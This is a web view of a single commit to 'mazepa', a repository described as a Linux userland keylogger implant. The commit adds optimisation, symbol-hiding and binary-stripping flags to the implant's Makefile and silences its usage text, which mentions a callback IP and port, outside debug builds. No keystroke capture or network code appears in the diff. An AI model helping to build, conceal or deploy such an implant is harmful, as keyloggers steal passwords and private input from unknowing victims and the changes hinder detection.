mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 113628df96452c735b2730ba2f48cf65e01fa6f5
parent 60467d917c55d03b37ef3d3359c52db8c07be8b6
Author: winds0r <[email protected]>
Date: Tue, 13 Jun 2023 16:17:08 +0900

feat(implant): tweaking compilation flags

Diffstat:
Mimplant/Makefile | 10++++++----
Mimplant/sources/opt.c | 4+++-

2 files changed, 9 insertions(+), 5 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -15,7 +15,8 @@ CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG
 else
-	CFLAGS 		 	+= -Wall -Wextra -O2 -Weverything -Wpedantic
+	CFLAGS 		 	+= -Wall -Wextra -O3 -Weverything -Wpedantic -Wl,-s
+	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
 endif
 
@@ -40,6 +41,9 @@ OBJ 	 		= $(patsubst %$(PATTERN), $(OBJECT_DIR)/%$(OBJPATTERN), $(COMBINED))
 
 .PHONY: all
 all: directories $(NAME) ## generate PROD binary (you might have to run make fclean before)
+	@strip -s $(NAME)
+	@echo "   [*** BINARY STRIP DONE ***]"
+
 
 .PHONY: debug
 debug: directories $(NAME) ## generate DEBUG binary (you might have to run make fclean before)
@@ -57,9 +61,7 @@ $(OBJECT_DIR)/%$(OBJPATTERN) : %$(PATTERN)
 
 $(NAME): $(OBJ)
 	@$(CC) -o $(NAME) $^ $(CFLAGS) $(INCLUDES) $(LINK_FLAG)
-	@echo "[*** COMPILATION SUCCESSFUL ***]"
-	@strip --strip-all $(NAME)
-	@echo "[*** BINARY STRIP DONE ***]"
+	@echo "[*** COMPILATION  SUCCESSFUL ***]"
 
 .PHONY: clean
 clean:  ## removes object files
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -14,6 +14,8 @@
 static void help_mode(char const *binary_path) {
 #ifdef DEBUG
     printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n-n\tNo network connection", binary_path);
+#else
+    (void)binary_path;
 #endif
 }
 
@@ -28,7 +30,7 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
 #endif
 
     do {
-        c = getopt(ac, av, "i:p:h");
+        c = getopt(ac, av, options);
         switch (c) {
 
 #ifdef DEBUG